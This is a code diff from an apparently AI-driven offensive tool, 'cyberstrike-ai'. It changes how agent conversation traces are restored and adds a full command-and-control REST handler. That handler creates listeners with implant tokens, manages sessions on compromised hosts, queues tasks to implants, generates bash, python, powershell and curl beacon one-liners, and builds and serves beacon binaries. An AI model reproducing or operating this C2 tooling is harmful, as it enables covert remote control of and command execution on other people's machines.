func (h *AgentHandler) loadHistoryFromReActData(conversationID string) ([]agent.ChatMessage, error) {
|
||||
// 获取保存的ReAct输入和输出
|
||||
reactInputJSON, reactOutput, err := h.db.GetReActData(conversationID)
|
||||
// loadHistoryFromAgentTrace 从库中保存的代理消息轨迹恢复历史(列 last_react_*;含单代理与 Eino)。
|
||||
// 逻辑与攻击链一致:优先用已保存的 JSON 消息带 + 最后一轮助手摘要,否则回退消息表。
|
||||
func (h *AgentHandler) loadHistoryFromAgentTrace(conversationID string) ([]agent.ChatMessage, error) {
|
||||
traceInputJSON, assistantOut, err := h.db.GetAgentTrace(conversationID)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("获取ReAct数据失败: %w", err)
|
||||
return nil, fmt.Errorf("获取代理轨迹失败: %w", err)
|
||||
}
|
||||
|
||||
// 如果last_react_input为空,回退到使用消息表(与攻击链生成逻辑一致)
|
||||
if reactInputJSON == "" {
|
||||
return nil, fmt.Errorf("ReAct数据为空,将使用消息表")
|
||||
if traceInputJSON == "" {
|
||||
return nil, fmt.Errorf("代理轨迹为空,将使用消息表")
|
||||
}
|
||||
|
||||
dataSource := "database_last_react_input"
|
||||
dataSource := "database_last_agent_trace"
|
||||
|
||||
// 解析JSON格式的messages数组
|
||||
var messagesArray []map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(reactInputJSON), &messagesArray); err != nil {
|
||||
return nil, fmt.Errorf("解析ReAct输入JSON失败: %w", err)
|
||||
if err := json.Unmarshal([]byte(traceInputJSON), &messagesArray); err != nil {
|
||||
return nil, fmt.Errorf("解析代理轨迹 JSON 失败: %w", err)
|
||||
}
|
||||
|
||||
messageCount := len(messagesArray)
|
||||
|
||||
h.logger.Info("使用保存的ReAct数据恢复历史上下文",
|
||||
h.logger.Info("使用保存的代理轨迹恢复历史上下文",
|
||||
zap.String("conversationId", conversationID),
|
||||
zap.String("dataSource", dataSource),
|
||||
zap.Int("reactInputSize", len(reactInputJSON)),
|
||||
zap.Int("traceInputSize", len(traceInputJSON)),
|
||||
zap.Int("messageCount", messageCount),
|
||||
zap.Int("reactOutputSize", len(reactOutput)),
|
||||
zap.Int("assistantOutSize", len(assistantOut)),
|
||||
)
|
||||
// fmt.Println("messagesArray:", messagesArray)//debug
|
||||
|
||||
@@ -2755,53 +2754,44 @@ func (h *AgentHandler) loadHistoryFromReActData(conversationID string) ([]agent.
|
||||
agentMessages = append(agentMessages, msg)
|
||||
}
|
||||
|
||||
// 如果存在last_react_output,需要将其作为最后一条assistant消息
|
||||
// 因为last_react_input是在迭代开始前保存的,不包含最后一轮的最终输出
|
||||
if reactOutput != "" {
|
||||
// 检查最后一条消息是否是assistant消息且没有tool_calls
|
||||
// 如果有tool_calls,说明后面应该还有tool消息和最终的assistant回复
|
||||
// 若存在 last_react_output(助手摘要),合并为最后一条 assistant(与保存格式一致)
|
||||
if assistantOut != "" {
|
||||
if len(agentMessages) > 0 {
|
||||
lastMsg := &agentMessages[len(agentMessages)-1]
|
||||
if strings.EqualFold(lastMsg.Role, "assistant") && len(lastMsg.ToolCalls) == 0 {
|
||||
// 最后一条是assistant消息且没有tool_calls,用最终输出更新其content
|
||||
lastMsg.Content = reactOutput
|
||||
lastMsg.Content = assistantOut
|
||||
} else {
|
||||
// 最后一条不是assistant消息,或者有tool_calls,添加最终输出作为新的assistant消息
|
||||
agentMessages = append(agentMessages, agent.ChatMessage{
|
||||
Role: "assistant",
|
||||
Content: reactOutput,
|
||||
Content: assistantOut,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
// 如果没有消息,直接添加最终输出
|
||||
agentMessages = append(agentMessages, agent.ChatMessage{
|
||||
Role: "assistant",
|
||||
Content: reactOutput,
|
||||
Content: assistantOut,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
if len(agentMessages) == 0 {
|
||||
return nil, fmt.Errorf("从ReAct数据解析的消息为空")
|
||||
return nil, fmt.Errorf("从代理轨迹解析的消息为空")
|
||||
}
|
||||
|
||||
// 修复可能存在的失配tool消息,避免OpenAI报错
|
||||
// 这可以防止出现"messages with role 'tool' must be a response to a preceeding message with 'tool_calls'"错误
|
||||
if h.agent != nil {
|
||||
if fixed := h.agent.RepairOrphanToolMessages(&agentMessages); fixed {
|
||||
h.logger.Info("修复了从ReAct数据恢复的历史消息中的失配tool消息",
|
||||
h.logger.Info("修复了从代理轨迹恢复的历史消息中的失配 tool 消息",
|
||||
zap.String("conversationId", conversationID),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
h.logger.Info("从ReAct数据恢复历史消息完成",
|
||||
h.logger.Info("从代理轨迹恢复历史消息完成",
|
||||
zap.String("conversationId", conversationID),
|
||||
zap.String("dataSource", dataSource),
|
||||
zap.Int("originalMessageCount", messageCount),
|
||||
zap.Int("finalMessageCount", len(agentMessages)),
|
||||
zap.Bool("hasReactOutput", reactOutput != ""),
|
||||
zap.Bool("hasAssistantOut", assistantOut != ""),
|
||||
)
|
||||
fmt.Println("agentMessages:", agentMessages) //debug
|
||||
return agentMessages, nil
|
||||
}
|
||||
|
||||
@@ -83,7 +83,7 @@ func (h *AttackChainHandler) GetAttackChain(c *gin.Context) {
|
||||
// 使用锁机制防止同一对话的并发生成
|
||||
lockInterface, _ := h.generatingLocks.LoadOrStore(conversationID, &sync.Mutex{})
|
||||
lock := lockInterface.(*sync.Mutex)
|
||||
|
||||
|
||||
// 尝试获取锁,如果正在生成则返回错误
|
||||
acquired := lock.TryLock()
|
||||
if !acquired {
|
||||
@@ -144,7 +144,7 @@ func (h *AttackChainHandler) RegenerateAttackChain(c *gin.Context) {
|
||||
// 使用锁机制防止并发生成
|
||||
lockInterface, _ := h.generatingLocks.LoadOrStore(conversationID, &sync.Mutex{})
|
||||
lock := lockInterface.(*sync.Mutex)
|
||||
|
||||
|
||||
acquired := lock.TryLock()
|
||||
if !acquired {
|
||||
h.logger.Info("攻击链正在生成中,请稍后再试", zap.String("conversationId", conversationID))
|
||||
@@ -170,4 +170,3 @@ func (h *AttackChainHandler) RegenerateAttackChain(c *gin.Context) {
|
||||
|
||||
c.JSON(http.StatusOK, chain)
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,955 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/c2"
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// C2Handler 处理 C2 相关的 REST API
|
||||
type C2Handler struct {
|
||||
manager *c2.Manager
|
||||
logger *zap.Logger
|
||||
}
|
||||
|
||||
// NewC2Handler 创建 C2 处理器
|
||||
func NewC2Handler(manager *c2.Manager, logger *zap.Logger) *C2Handler {
|
||||
return &C2Handler{
|
||||
manager: manager,
|
||||
logger: logger,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 监听器 API
|
||||
// ============================================================================
|
||||
|
||||
// ListListeners 获取监听器列表
|
||||
func (h *C2Handler) ListListeners(c *gin.Context) {
|
||||
listeners, err := h.manager.DB().ListC2Listeners()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
// 移除敏感字段
|
||||
for _, l := range listeners {
|
||||
l.EncryptionKey = ""
|
||||
l.ImplantToken = ""
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"listeners": listeners})
|
||||
}
|
||||
|
||||
// CreateListener 创建监听器
|
||||
func (h *C2Handler) CreateListener(c *gin.Context) {
|
||||
var req struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
BindHost string `json:"bind_host"`
|
||||
BindPort int `json:"bind_port"`
|
||||
ProfileID string `json:"profile_id,omitempty"`
|
||||
Remark string `json:"remark,omitempty"`
|
||||
CallbackHost string `json:"callback_host,omitempty"`
|
||||
Config *c2.ListenerConfig `json:"config,omitempty"`
|
||||
}
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
input := c2.CreateListenerInput{
|
||||
Name: req.Name,
|
||||
Type: req.Type,
|
||||
BindHost: req.BindHost,
|
||||
BindPort: req.BindPort,
|
||||
ProfileID: req.ProfileID,
|
||||
Remark: req.Remark,
|
||||
Config: req.Config,
|
||||
CallbackHost: strings.TrimSpace(req.CallbackHost),
|
||||
}
|
||||
|
||||
listener, err := h.manager.CreateListener(input)
|
||||
if err != nil {
|
||||
code := http.StatusInternalServerError
|
||||
if e, ok := err.(*c2.CommonError); ok {
|
||||
code = e.HTTP
|
||||
}
|
||||
c.JSON(code, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
implantToken := listener.ImplantToken
|
||||
listener.EncryptionKey = ""
|
||||
listener.ImplantToken = ""
|
||||
c.JSON(http.StatusOK, gin.H{"listener": listener, "implant_token": implantToken})
|
||||
}
|
||||
|
||||
// GetListener 获取单个监听器
|
||||
func (h *C2Handler) GetListener(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
listener, err := h.manager.DB().GetC2Listener(id)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if listener == nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "listener not found"})
|
||||
return
|
||||
}
|
||||
listener.EncryptionKey = ""
|
||||
listener.ImplantToken = ""
|
||||
c.JSON(http.StatusOK, gin.H{"listener": listener})
|
||||
}
|
||||
|
||||
// UpdateListener 更新监听器
|
||||
func (h *C2Handler) UpdateListener(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
listener, err := h.manager.DB().GetC2Listener(id)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if listener == nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "listener not found"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Name string `json:"name"`
|
||||
BindHost string `json:"bind_host"`
|
||||
BindPort int `json:"bind_port"`
|
||||
ProfileID string `json:"profile_id"`
|
||||
Remark string `json:"remark"`
|
||||
CallbackHost *string `json:"callback_host"`
|
||||
Config *c2.ListenerConfig `json:"config,omitempty"`
|
||||
}
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// 若监听器在运行,不能修改关键字段
|
||||
if h.manager.IsListenerRunning(id) {
|
||||
if req.BindHost != listener.BindHost || req.BindPort != listener.BindPort {
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "cannot modify bind address while listener is running"})
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
listener.Name = req.Name
|
||||
listener.BindHost = req.BindHost
|
||||
listener.BindPort = req.BindPort
|
||||
listener.ProfileID = req.ProfileID
|
||||
listener.Remark = req.Remark
|
||||
if req.Config != nil {
|
||||
cfgJSON, _ := json.Marshal(req.Config)
|
||||
listener.ConfigJSON = string(cfgJSON)
|
||||
}
|
||||
if req.CallbackHost != nil {
|
||||
cfg := &c2.ListenerConfig{}
|
||||
raw := strings.TrimSpace(listener.ConfigJSON)
|
||||
if raw == "" {
|
||||
raw = "{}"
|
||||
}
|
||||
_ = json.Unmarshal([]byte(raw), cfg)
|
||||
cfg.CallbackHost = strings.TrimSpace(*req.CallbackHost)
|
||||
cfg.ApplyDefaults()
|
||||
cfgJSON, err := json.Marshal(cfg)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
listener.ConfigJSON = string(cfgJSON)
|
||||
}
|
||||
|
||||
if err := h.manager.DB().UpdateC2Listener(listener); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
listener.EncryptionKey = ""
|
||||
listener.ImplantToken = ""
|
||||
c.JSON(http.StatusOK, gin.H{"listener": listener})
|
||||
}
|
||||
|
||||
// DeleteListener 删除监听器
|
||||
func (h *C2Handler) DeleteListener(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
if err := h.manager.DeleteListener(id); err != nil {
|
||||
code := http.StatusInternalServerError
|
||||
if e, ok := err.(*c2.CommonError); ok {
|
||||
code = e.HTTP
|
||||
}
|
||||
c.JSON(code, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"deleted": true})
|
||||
}
|
||||
|
||||
// StartListener 启动监听器
|
||||
func (h *C2Handler) StartListener(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
listener, err := h.manager.StartListener(id)
|
||||
if err != nil {
|
||||
code := http.StatusInternalServerError
|
||||
if e, ok := err.(*c2.CommonError); ok {
|
||||
code = e.HTTP
|
||||
}
|
||||
c.JSON(code, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
listener.EncryptionKey = ""
|
||||
listener.ImplantToken = ""
|
||||
c.JSON(http.StatusOK, gin.H{"listener": listener})
|
||||
}
|
||||
|
||||
// StopListener 停止监听器
|
||||
func (h *C2Handler) StopListener(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
if err := h.manager.StopListener(id); err != nil {
|
||||
code := http.StatusInternalServerError
|
||||
if e, ok := err.(*c2.CommonError); ok {
|
||||
code = e.HTTP
|
||||
}
|
||||
c.JSON(code, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"stopped": true})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 会话 API
|
||||
// ============================================================================
|
||||
|
||||
// ListSessions 获取会话列表
|
||||
func (h *C2Handler) ListSessions(c *gin.Context) {
|
||||
filter := database.ListC2SessionsFilter{
|
||||
ListenerID: c.Query("listener_id"),
|
||||
Status: c.Query("status"),
|
||||
OS: c.Query("os"),
|
||||
Search: c.Query("search"),
|
||||
}
|
||||
if limit := c.Query("limit"); limit != "" {
|
||||
if n, err := strconv.Atoi(limit); err == nil && n > 0 {
|
||||
filter.Limit = n
|
||||
}
|
||||
}
|
||||
|
||||
sessions, err := h.manager.DB().ListC2Sessions(filter)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"sessions": sessions})
|
||||
}
|
||||
|
||||
// GetSession 获取单个会话
|
||||
func (h *C2Handler) GetSession(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
session, err := h.manager.DB().GetC2Session(id)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if session == nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "session not found"})
|
||||
return
|
||||
}
|
||||
|
||||
// 获取最近任务
|
||||
tasks, _ := h.manager.DB().ListC2Tasks(database.ListC2TasksFilter{
|
||||
SessionID: id,
|
||||
Limit: 20,
|
||||
})
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"session": session,
|
||||
"tasks": tasks,
|
||||
})
|
||||
}
|
||||
|
||||
// DeleteSession 删除会话
|
||||
func (h *C2Handler) DeleteSession(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
if err := h.manager.DB().DeleteC2Session(id); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"deleted": true})
|
||||
}
|
||||
|
||||
// SetSessionSleep 设置会话的 sleep/jitter
|
||||
func (h *C2Handler) SetSessionSleep(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
var req struct {
|
||||
SleepSeconds int `json:"sleep_seconds"`
|
||||
JitterPercent int `json:"jitter_percent"`
|
||||
}
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
if err := h.manager.DB().SetC2SessionSleep(id, req.SleepSeconds, req.JitterPercent); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"updated": true})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 任务 API
|
||||
// ============================================================================
|
||||
|
||||
// ListTasks 获取任务列表
|
||||
func (h *C2Handler) ListTasks(c *gin.Context) {
|
||||
filter := database.ListC2TasksFilter{
|
||||
SessionID: c.Query("session_id"),
|
||||
Status: c.Query("status"),
|
||||
}
|
||||
|
||||
paginated := false
|
||||
page := 1
|
||||
pageSize := 10
|
||||
if c.Query("page") != "" || c.Query("page_size") != "" {
|
||||
paginated = true
|
||||
if p, err := strconv.Atoi(c.DefaultQuery("page", "1")); err == nil && p > 0 {
|
||||
page = p
|
||||
}
|
||||
if ps, err := strconv.Atoi(c.DefaultQuery("page_size", "10")); err == nil && ps > 0 {
|
||||
pageSize = ps
|
||||
if pageSize > 100 {
|
||||
pageSize = 100
|
||||
}
|
||||
}
|
||||
filter.Limit = pageSize
|
||||
filter.Offset = (page - 1) * pageSize
|
||||
} else {
|
||||
if limit := c.Query("limit"); limit != "" {
|
||||
if n, err := strconv.Atoi(limit); err == nil && n > 0 {
|
||||
filter.Limit = n
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tasks, err := h.manager.DB().ListC2Tasks(filter)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// 仪表盘「待审任务」为全局 queued/pending 数量,与列表 session 过滤无关
|
||||
pendingN, _ := h.manager.DB().CountC2TasksQueuedOrPending("")
|
||||
|
||||
if !paginated {
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"tasks": tasks,
|
||||
"pending_queued_count": pendingN,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
total, err := h.manager.DB().CountC2Tasks(filter)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"tasks": tasks,
|
||||
"total": total,
|
||||
"page": page,
|
||||
"page_size": pageSize,
|
||||
"pending_queued_count": pendingN,
|
||||
})
|
||||
}
|
||||
|
||||
// DeleteTasks 批量删除任务(请求体 JSON: {"ids":["t_xxx",...]})
|
||||
func (h *C2Handler) DeleteTasks(c *gin.Context) {
|
||||
var req struct {
|
||||
IDs []string `json:"ids"`
|
||||
}
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid json: " + err.Error()})
|
||||
return
|
||||
}
|
||||
if len(req.IDs) == 0 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ids is required"})
|
||||
return
|
||||
}
|
||||
n, err := h.manager.DB().DeleteC2TasksByIDs(req.IDs)
|
||||
if err != nil {
|
||||
if errors.Is(err, database.ErrNoValidC2TaskIDs) {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"deleted": n})
|
||||
}
|
||||
|
||||
// GetTask 获取单个任务
|
||||
func (h *C2Handler) GetTask(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
task, err := h.manager.DB().GetC2Task(id)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if task == nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "task not found"})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"task": task})
|
||||
}
|
||||
|
||||
// CreateTask 创建任务
|
||||
func (h *C2Handler) CreateTask(c *gin.Context) {
|
||||
var req struct {
|
||||
SessionID string `json:"session_id"`
|
||||
TaskType string `json:"task_type"`
|
||||
Payload map[string]interface{} `json:"payload"`
|
||||
Source string `json:"source"`
|
||||
ConversationID string `json:"conversation_id"`
|
||||
}
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
input := c2.EnqueueTaskInput{
|
||||
SessionID: req.SessionID,
|
||||
TaskType: c2.TaskType(req.TaskType),
|
||||
Payload: req.Payload,
|
||||
Source: firstNonEmpty(req.Source, "manual"),
|
||||
ConversationID: req.ConversationID,
|
||||
UserCtx: c.Request.Context(),
|
||||
}
|
||||
|
||||
task, err := h.manager.EnqueueTask(input)
|
||||
if err != nil {
|
||||
code := http.StatusInternalServerError
|
||||
if e, ok := err.(*c2.CommonError); ok {
|
||||
code = e.HTTP
|
||||
}
|
||||
c.JSON(code, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"task": task})
|
||||
}
|
||||
|
||||
// CancelTask 取消任务
|
||||
func (h *C2Handler) CancelTask(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
if err := h.manager.CancelTask(id); err != nil {
|
||||
code := http.StatusInternalServerError
|
||||
if e, ok := err.(*c2.CommonError); ok {
|
||||
code = e.HTTP
|
||||
}
|
||||
c.JSON(code, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"cancelled": true})
|
||||
}
|
||||
|
||||
// WaitTask 等待任务完成
|
||||
func (h *C2Handler) WaitTask(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
timeout := 60 * time.Second
|
||||
if t := c.Query("timeout"); t != "" {
|
||||
if n, err := strconv.Atoi(t); err == nil && n > 0 {
|
||||
timeout = time.Duration(n) * time.Second
|
||||
}
|
||||
}
|
||||
|
||||
deadline := time.Now().Add(timeout)
|
||||
for time.Now().Before(deadline) {
|
||||
task, err := h.manager.DB().GetC2Task(id)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if task == nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "task not found"})
|
||||
return
|
||||
}
|
||||
if task.Status == "success" || task.Status == "failed" || task.Status == "cancelled" {
|
||||
c.JSON(http.StatusOK, gin.H{"task": task})
|
||||
return
|
||||
}
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
}
|
||||
c.JSON(http.StatusRequestTimeout, gin.H{"error": "timeout waiting for task completion"})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Payload API
|
||||
// ============================================================================
|
||||
|
||||
// PayloadOneliner 生成单行 payload
|
||||
func (h *C2Handler) PayloadOneliner(c *gin.Context) {
|
||||
var req struct {
|
||||
ListenerID string `json:"listener_id"`
|
||||
Kind string `json:"kind"` // bash, python, powershell, curl_beacon
|
||||
Host string `json:"host"`
|
||||
}
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
listener, err := h.manager.DB().GetC2Listener(req.ListenerID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if listener == nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "listener not found"})
|
||||
return
|
||||
}
|
||||
|
||||
host := c2.ResolveBeaconDialHost(listener, strings.TrimSpace(req.Host), h.logger, listener.ID)
|
||||
|
||||
kind := c2.OnelinerKind(req.Kind)
|
||||
if !c2.IsOnelinerCompatible(listener.Type, kind) {
|
||||
compatible := c2.OnelinerKindsForListener(listener.Type)
|
||||
names := make([]string, len(compatible))
|
||||
for i, k := range compatible {
|
||||
names[i] = string(k)
|
||||
}
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": fmt.Sprintf("监听器类型 %s 不支持 %s 类型的 oneliner,请选择兼容的类型", listener.Type, req.Kind),
|
||||
"compatible_kinds": names,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
input := c2.OnelinerInput{
|
||||
Kind: kind,
|
||||
Host: host,
|
||||
Port: listener.BindPort,
|
||||
HTTPBaseURL: fmt.Sprintf("http://%s:%d", host, listener.BindPort),
|
||||
ImplantToken: listener.ImplantToken,
|
||||
}
|
||||
|
||||
oneliner, err := c2.GenerateOneliner(input)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"oneliner": oneliner,
|
||||
"kind": req.Kind,
|
||||
"host": host,
|
||||
"port": listener.BindPort,
|
||||
})
|
||||
}
|
||||
|
||||
// PayloadBuild 构建 beacon 二进制
|
||||
func (h *C2Handler) PayloadBuild(c *gin.Context) {
|
||||
var req struct {
|
||||
ListenerID string `json:"listener_id"`
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
SleepSeconds int `json:"sleep_seconds"`
|
||||
JitterPercent int `json:"jitter_percent"`
|
||||
Host string `json:"host"` // 可选:编译进 Beacon 的回连地址,覆盖监听器 bind_host
|
||||
}
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
listener, err := h.manager.DB().GetC2Listener(req.ListenerID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if listener == nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "listener not found"})
|
||||
return
|
||||
}
|
||||
|
||||
builder := c2.NewPayloadBuilder(h.manager, h.logger, "", "")
|
||||
input := c2.PayloadBuilderInput{
|
||||
ListenerID: req.ListenerID,
|
||||
OS: req.OS,
|
||||
Arch: req.Arch,
|
||||
SleepSeconds: req.SleepSeconds,
|
||||
JitterPercent: req.JitterPercent,
|
||||
Host: strings.TrimSpace(req.Host),
|
||||
}
|
||||
|
||||
result, err := builder.BuildBeacon(input)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"payload": result,
|
||||
})
|
||||
}
|
||||
|
||||
// PayloadDownload 下载 payload
|
||||
func (h *C2Handler) PayloadDownload(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
filename := id
|
||||
if !strings.HasPrefix(filename, "beacon_") {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid payload id"})
|
||||
return
|
||||
}
|
||||
if strings.Contains(filename, "/") || strings.Contains(filename, "\\") || strings.Contains(filename, "..") {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid payload id"})
|
||||
return
|
||||
}
|
||||
|
||||
builder := c2.NewPayloadBuilder(h.manager, h.logger, "", "")
|
||||
storageDir := builder.GetPayloadStoragePath()
|
||||
targetPath := filepath.Join(storageDir, filename)
|
||||
|
||||
absTarget, err := filepath.Abs(targetPath)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid path"})
|
||||
return
|
||||
}
|
||||
absDir, err := filepath.Abs(storageDir)
|
||||
if err != nil || !strings.HasPrefix(absTarget, absDir+string(filepath.Separator)) {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid payload id"})
|
||||
return
|
||||
}
|
||||
|
||||
c.FileAttachment(absTarget, filepath.Base(absTarget))
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 事件 API
|
||||
// ============================================================================
|
||||
|
||||
// ListEvents 获取事件列表
|
||||
func (h *C2Handler) ListEvents(c *gin.Context) {
|
||||
filter := database.ListC2EventsFilter{
|
||||
Level: c.Query("level"),
|
||||
Category: c.Query("category"),
|
||||
SessionID: c.Query("session_id"),
|
||||
TaskID: c.Query("task_id"),
|
||||
}
|
||||
if since := c.Query("since"); since != "" {
|
||||
if t, err := time.Parse(time.RFC3339, since); err == nil {
|
||||
filter.Since = &t
|
||||
}
|
||||
}
|
||||
|
||||
paginated := false
|
||||
page := 1
|
||||
pageSize := 10
|
||||
if c.Query("page") != "" || c.Query("page_size") != "" {
|
||||
paginated = true
|
||||
if p, err := strconv.Atoi(c.DefaultQuery("page", "1")); err == nil && p > 0 {
|
||||
page = p
|
||||
}
|
||||
if ps, err := strconv.Atoi(c.DefaultQuery("page_size", "10")); err == nil && ps > 0 {
|
||||
pageSize = ps
|
||||
if pageSize > 100 {
|
||||
pageSize = 100
|
||||
}
|
||||
}
|
||||
filter.Limit = pageSize
|
||||
filter.Offset = (page - 1) * pageSize
|
||||
} else {
|
||||
if limit := c.Query("limit"); limit != "" {
|
||||
if n, err := strconv.Atoi(limit); err == nil && n > 0 {
|
||||
filter.Limit = n
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
events, err := h.manager.DB().ListC2Events(filter)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
